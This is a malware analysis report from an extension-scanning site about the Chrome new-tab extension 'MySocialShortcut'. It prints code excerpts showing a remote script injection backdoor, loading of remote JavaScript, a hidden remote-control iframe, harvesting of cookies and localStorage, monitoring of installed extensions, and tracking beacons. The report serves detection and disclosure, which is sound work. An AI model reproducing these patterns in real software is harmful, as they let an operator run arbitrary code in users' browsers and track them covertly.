Security Alert: Confirmed Malware
MySocialShortcut
ID: dffodcokjhgglfakabaogimnpblkhdjj
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- http://mysocialshortcut.comView Profile
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
Find the best, FREE way to access your social networks with this Chrome New Tab Extension.
Discover the easy way to access your social media networks, plus update your new tab page search to MyWay.com. Comes with daily content to show you news, weather and more in a new Chrome window! By installing this extension, you agree to the End User License Agreement and Privacy Policy (https://eula.askapplications.com/eula/) This new tab extension is a product of Ask Applications, Inc. Permissions Requested : "Read and change your data on a number of websites" For our product to work, we require access to the websites we own and manage. "Replace the page you see when opening a new tab" This allows us to show you our product - new tab page with free web search. "Read your browsing history" This allows us to tailor product specific content or offers towards relevant information. "Display notifications" This allows us the option to send you updates or additional product offers once you’ve already enjoyed the free product. "Manage your apps, extensions, and themes" This allows us to help you disable or remove this product and also understand whether we are able to provide the best experience. Release Log: 13.962 : Optimizes the sync of this extension between Chrome profiles.
The `inject-script` background feature accepts arbitrary JavaScript code (`babMessage.args.code`) and a URL regex from an external message, then executes that code inside matching iframes via `chrome.tabs.executeScript`. This is a remote code injection backdoor: any page or iframe loaded by BabRemoteConfigProcessor (from a remotely-configurable `proxyUrl`) can request that the extension inject attacker-controlled JavaScript into the active tab's frames at `document_start`. The `matchUrlRegExStr` parameter is also fully attacker-controlled, allowing targeting of any URL.
"inject-script": { getRequiredArgs: function() { return ["matchUrlRegExStr", "code"]; }, execute: function(babMessage) { return new Promise(function(resolve, reject) { chrome.tabs.query({ active: true, currentWindow: true }, function(tabs) { if (!tabs || !tabs.length) { return reject("no active tab in the current window"); } chrome.webNavigation.getAllFrames({ tabId: tabs[0].id }, function(iframes) { if (iframes) { var targetIframe = iframes.find(function(iframe) { return new RegExp(babMessage.args.matchUrlRegExStr).test(iframe.url); }); if (targetIframe) { var details = { runAt: babMessage.args.runAt || "document_start", frameId: targetIframe.frameId, code: babMessage.args.code }; chrome.tabs.executeScript(tabs[0].id, details, function() { if (chrome.runtime.lastError) { return reject(chrome.runtime.lastError.message); } return resolve(); }); } } }); }); }); }}The extension fetches a raw JavaScript string from a remote URL (`babRemoteScriptUrl`) and then directly injects it into active tabs via `chrome.tabs.executeScript` with `runAt: "document_start"`. This is a classic remote-code-loading pattern: the URL is stored in config, which is loaded from `https://download.mysocialshortcut.com/`, meaning the operator (or anyone who compromises that server) can push arbitrary JavaScript to execute in any tab the user is viewing.
this.initRemoteScript = function(extensionConfig) { var gettingRemoteScript = new Promise(function(resolve, reject) { if (!extensionConfig.buildVars.babRemoteScriptUrl) return reject(new Error("remove script URL is not set")); AJAX.get({ url: extensionConfig.buildVars.babRemoteScriptUrl }).then(function(xhr) { xhr.status === 200 ? resolve(xhr.response) : reject(new Error("unable to load JSON status:\"" + xhr.status + "\"")); }); }); gettingRemoteScript .then(function(remoteScript) { if (!remoteScript) return Promise.reject(new Error("remote script is empty")); _this.remoteScript = remoteScript; })};// ... later used as:var remoteScriptInjectionDetails = { code: _this.remoteScript, runAt: "document_start"};chrome.tabs.executeScript(tab.id, remoteScriptInjectionDetails, resolve);The background page loads a remotely-configured `proxyUrl` in a hidden iframe and establishes a bidirectional message channel between this remote iframe and the extension's content scripts. The proxy URL is pulled from a remote config server (`babConfigUrl`) via `RemoteConfigLoader`. This creates a persistent remote-control channel: the operator can update `babConfig.proxyUrl` to any origin, and that page gains the ability to invoke extension background features (including `inject-script`) in all user tabs.
this.loadBackgroundBabIframe = function(babConfig) { var iframeId = "babIframeToProxy"; var addIframeToProxy = function() { _this.connectionOperations.initMessageHandler(babConfig); var iframe = document.createElement("iframe"); iframe.setAttribute("id", iframeId); Logger.log("BabRemoteConfigProcessor: loadBackgroundBabIframe iframeUrl = " + babConfig.proxyUrl); iframe.setAttribute("src", babConfig.proxyUrl); document.body.appendChild(iframe); }; // ... if (!babConfig || !babConfig.reCaptcha || !babConfig.reCaptcha.reCaptchaUrl || !babConfig.reCaptcha.reCaptchaId || !babConfig.proxyUrl) { Logger.log("BabRemoteConfigProcessor: loadBackgroundBabIframe no reCaptcha or proxyUrl set in remoteConfig. IframeToProxy is not loaded."); return; } var existingIframe = document.getElementById(iframeId); if (!existingIframe) { addIframeToProxy(); }};The hijacked new-tab page renders a full-screen iframe that is granted `geolocation`, `microphone`, `camera`, `midi`, and `encrypted-media` permissions via the `allow` attribute. The iframe `src` is set dynamically to an external URL (`https://hp.myway.com/mysocialshortcut/...`) by `product.js`. This means the remote myway.com page — loaded in every new tab — has access to the user's location, microphone, and camera without the standard browser permission prompt that would otherwise be required.
<iframe id="wtt-frame" frameborder="0" src="about:blank" style="position: absolute; left: 0px; width: 100%; top: 0px; height: 100%;" allow="geolocation; microphone; camera; midi; encrypted-media"></iframe>This content script is injected into `https://download.mysocialshortcut.com/blank.jhtml` and, on command, reads the entire `window.localStorage` of that origin (or specific keys requested by the background) and transmits it back through a runtime port. Combined with `dlpHelper.js` which injects a hidden iframe to that URL in the background page, the extension systematically exfiltrates localStorage from the download domain to extract tracking parameters (toolbarId, partnerId, pixelUrl, install date) set during the download/install funnel.
var commands = { getLocalStorage: function(data) { var storage = window.localStorage; var keys = data && data.keys && data.keys.length ? data.keys : Object.keys(storage); return Promise.resolve(keys.reduce(function(p, key) { p[key] = storage.getItem(key); return p; }, {})); }};function init() { var port = chrome.runtime.connect({ name: Util.generateGuid2(portNamePrefix + "-" + chrome.runtime.id + "-") }); channel = { id: port.name, port: port, callbacks: new Map() }; port.onMessage.addListener(onConnectMessage);}ask.apps.ContentScript.init();The extension calls `chrome.cookies.getAll({ domain: '.mysocialshortcut.com' })` to read all cookies set on that domain, extracting user tracking identifiers (toolbarId, partnerId, coId, countryCode, partnerSubId, install date, etc.) and storing them in extension state. This is the primary mechanism for harvesting the affiliate/tracking data chain established during installation, using `cookies` permission to read data without any user interaction or notice.
function getDataFromCookies(domain) { return new Promise(function(resolve, reject) { chrome.cookies.getAll({ domain: domain }, function(cookies) { if (cookies.some(function(cookie) { return cookie.name === "toolbarId"; })) { Logger.log("Dlp: getDataFromCookies: Found DLP data cookies in domain: " + domain); resolve(parseCookies(cookies)); } else { reject(new Error("Dlp: getDataFromCookies: FAILED to find DLP data cookies in domain: " + domain)); } }); });}function parseCookies(cookies) { var cookiesObj = cookies.reduce(function(obj, cookie) { obj[cookie.name] = cookie.value; return obj; }, {}); var toolbarData = cleanToolbarData(cookiesObj); toolbarData.dataSource = Dlp.dataSourceCookies; Logger.log("Dlp: parseCookies: The fetched DLP data looks like: " + JSON.stringify(toolbarData)); return toolbarData;}When injected into any mysocialshortcut.com page, this content script sets tracking cookies (`mindsparktb_<id>` and `mindsparktbsupport_<id>`) in the context of that domain. These cookies are readable by the domain's servers and act as an extension fingerprint, allowing mysocialshortcut.com to detect and identify that this specific toolbar variant is installed in the user's browser on every visit.
function setInstalledCookies(toolbarId) { var hourFromNow = new Date(Date.now() + (1 * 60 * 60 * 1000)).toUTCString(); document.cookie = "mindsparktb_" + toolbarId + "=true; expires=" + hourFromNow + "; path=/"; document.cookie = "mindsparktbsupport_" + toolbarId + "=true; expires=" + hourFromNow + "; path=/";}// Called on init:configReady.then(function(configData) { setInstalledCookies(configData.buildVars.configDefId);}).catch(Logger.warn);Using the `management` permission, the extension enumerates every installed browser extension (IDs, versions, enabled state) at startup and then continuously monitors all install, uninstall, enable, and disable events. When a competing extension that overrides the new tab page is installed or enabled, the handler fires a telemetry event to `anx.tb.ask.com` reporting `defaultNewTab` override changes. This constitutes unauthorized surveillance of the user's entire extension ecosystem, reported to a remote analytics server.
this.init = function(config) { var initWatchExtensions = function() { return new Promise(function(resolve) { chrome.management.getAll(function(extensionInfos) { var watchExtensions = getEmptyWatchExtensionsObject(); extensionInfos .filter(function(eInfo) { return eInfo.type === "extension" && eInfo.id !== chrome.runtime.id && Util.checkOverlap(eInfo.permissions, WatchExtensionsHandler.permissionsToMonitor); }) .forEach(function(eInfo) { WatchExtensionsHandler.permissionsToMonitor .filter(function(monitorPermission) { return ~eInfo.permissions.indexOf(monitorPermission); }) .forEach(function(permission) { watchExtensions[permission].stackOfExtensions.push({ id: eInfo.id, version: eInfo.version, enabled: eInfo.enabled }); }); }); // ... Logger.log("WatchExtensionsHandler: extension has management permission. Currently following extensions installed: " + JSON.stringify(watchExtensions, null, 2)); resolve(config); }); }); }; // Also registers: onInstalled, onUninstalled, onEnabled, onDisabled listeners chrome.management.onInstalled.addListener(_this.onInstalledHandler); chrome.management.onUninstalled.addListener(_this.onUninstalledHandler);Every 6 hours the extension fires a `ToolbarActive` beacon to `https://live.tb.ask.com/tr.gif` containing the Chrome extension ID (`cwsid`), toolbar ID, partner ID, partner sub-ID, version, build date, and co-ID. This is a persistent user presence tracking beacon that allows the operator to know which users have the extension active, correlate them by partner/affiliate ID, and maintain a real-time active-user count — all without user consent or disclosure.
function startULPing(config) { var alarmName = "livePing"; var minTimeToNextPing = 60000; var interval = config.buildVars.livePing.interval; // 21600000 ms = 6 hours var lastPing = config.state.lastLivePing; var ping = function() { var eventData = { cwsid: chrome.runtime.id }; apps.ul.fireToolbarActiveEvent(config.buildVars.livePing.url, eventData, config).then(function(response) { config.state.lastLivePing = Date.now(); background.extensionStateStorage.update(config.state); }); }; chrome.alarms.create(alarmName, { when: Date.now() + delta, periodInMinutes: interval / 1000 / 60 // every 360 minutes }); chrome.alarms.onAlarm.addListener(function(alarm) { if (alarm.name === alarmName) { ping(); } });}The OfferService periodically contacts a remote server configured via `offerServiceConfigUrl`, sending a comprehensive device/user fingerprint including userAgent, OS, platform, browser version, language, locale, country, install date, affiliate/campaign IDs, toolbarID, and userSegment. The server responds with an `offerURL` that the extension opens as a new tab autonomously without any user interaction, effectively enabling the remote operator to force-open any URL in the user's browser on a schedule.
this.getDataPoints = function() { var params = _this.extensionConfig.state.replaceableParams; return { browserID: "", browserName: BrowserUtils.getBrowserName(), browserVersion: BrowserUtils.getBrowserVersion(), campaign: params.affiliateID, cobrandID: params.cobrandID, coID: params.coID, countryCode: params.countryCode || "99", country: "", installDate: params.installDate, installDateHex: params.installDateHex, language: BrowserUtils.getLanguage(), locale: window.navigator.language, os: BrowserUtils.getOS(), partnerID: params.partnerID, partnerSubID: params.partnerSubID, platform: window.navigator.platform, redirectedUserID: "", toolbarBuildDate: _this.extensionConfig.buildVars.buildDate, toolbarID: params.toolbarID, toolbarVersion: params.toolbarVersion, trackID: params.trackID, userAgent: window.navigator.userAgent, userSegment: _this.extensionConfig.state.toolbarData.userSegment };};// This data is sent as a PUT request body to config.offerServiceSettings.serviceURL// The response offerURL is then opened as a new tab without user interactionAs a fallback DLP data source, the extension queries ALL open tabs (`chrome.tabs.query({})`) and iterates every iframe in every tab via `chrome.webNavigation.getAllFrames` to scan URL hashes for tracking parameters. This is an active surveillance of the user's entire open browsing session — all tab URLs and all iframe URLs are inspected — to harvest affiliate tracking parameters embedded in URLs.
function getParamsFromHash(toolbarData) { return new Promise(function(resolve, reject) { chrome.tabs.query({}, function(tabs) { tabs.some(function(tab) { chrome.webNavigation.getAllFrames({ tabId: tab.id }, function(frameDetails) { frameDetails.some(function(frame) { var url = new URL(frame.url); var urlHash = url.hash; if (urlHash && (ask.apps.background.parentProductHashMatchRegEx.test(urlHash) || ask.apps.background.extensionDetectContentScriptMatchRegEx.test(frame.url))) { var mappedParams = getParamsFromString(url.hash.slice(1), params.hash.mapped, {}); // ... Object.assign(toolbarData, mappedParams); toolbarData.dataSource = Dlp.dataSourceUrlHash; toolbarData.chromeSearchExtensionURL = secondaryOfferUrl; toolbarData.chromeSearchExtensionEnabled = "true"; toolbarData.pixelUrl = pixelUrl; resolve(toolbarData); return true; } }); }); }); }); });}The background script uses `chrome.tabs.onUpdated` to monitor all tab navigations and dynamically injects content scripts into any page matching `*.mysocialshortcut.com` at `document_start` (before the page's own scripts run). This gives the extension read/write access to the DOM and JavaScript environment of mysocialshortcut.com pages that are not listed in the manifest's `content_scripts`, bypassing static analysis of declared content script patterns.
var injectContentScripts = function(tabId, changeInfo, tab) { if (!changeInfo || !changeInfo.url) return; if (background.extensionDetectContentScriptMatchRegEx.test(changeInfo.url)) { var files = ["js/logger.js", "js/chrome.js", "js/util.js", "js/extensionDetect.js"]; files.forEach(function(file) { return chrome.tabs.executeScript({ runAt: "document_start", file: file }, function() { if (chrome.runtime.lastError) { Logger.error(chrome.runtime.lastError); } }); }); } if (webTooltabAPIProxyMatchPattert_1.test(changeInfo.url)) { var files = ["js/logger.js", "js/chrome.js", "js/util.js", "js/webTooltabAPIProxy.js"]; files.forEach(function(file) { return chrome.tabs.executeScript({ runAt: "document_end", file: file }, function() { if (chrome.runtime.lastError) { Logger.error(chrome.runtime.lastError); } }); }); }};chrome.tabs.onUpdated.addListener(injectContentScripts);On installation, the extension fires a tracking pixel to an affiliate network URL (`pixelUrl` extracted from cookies/localStorage) and fires an `InstallerFinished` telemetry event to `anx.tb.ask.com`. It then closes the Chrome Web Store popup window, and initiates `NewTabRedirectService` which hijacks navigation on multiple competing search domains (hp.myway.com, hp.ask.com, hp.mysearch.com, www1.hp.ask-tb.com, etc.) by redirecting their URLs to the extension's new tab page.
function doInstall(config) { // ... var toolbarDataFromLocalStorage = JSON.parse(localStorage.getItem("dlpToolbarData")); // ... return (toolbarDataFromLocalStorage ? Promise.resolve(indicateUpgradeFromLegacyAndCleanToolbarData()) : getToolbarData(config.buildVars.localStorageUrl, config.buildVars.downloadDomain, background.localStorageInitTimeout, defaultToolbarData, config))}function doPostInstall(config, toolbarData) { // ... if (installPixelUrl) { apps.ul.firePixel({ url: installPixelUrl }).catch(function(err) { Logger.log("Background: doPostInstall - firePixel:::", err); }); } apps.ul.fireInstallerFinishedEvent(config.buildVars.unifiedLoggingUrl, config).catch(Logger.warn); getCwsWindow().then(closeCwsWindow); handleSecondaryOffer(config); if (config.buildVars.domainsToRedirectToNewTab) { new NewTabRedirectService(config); }}By severity
Versions scanned
Showing 2 of 4 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 13.962.19.39225 | 6 |
| 13.958.19.40306 | 13 |
Files with findings
12 distinct paths — top paths by unique finding count:
- js/background.js4
- js/babTypeInjectionScript.js2
- js/dlp.js2
- js/extensionDetect.js2
- js/watchExtensionsHandler.js2
- js/babAPI.js1
- js/babContentScriptAPI.js1
- js/babRemoteConfigProcessor.js1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.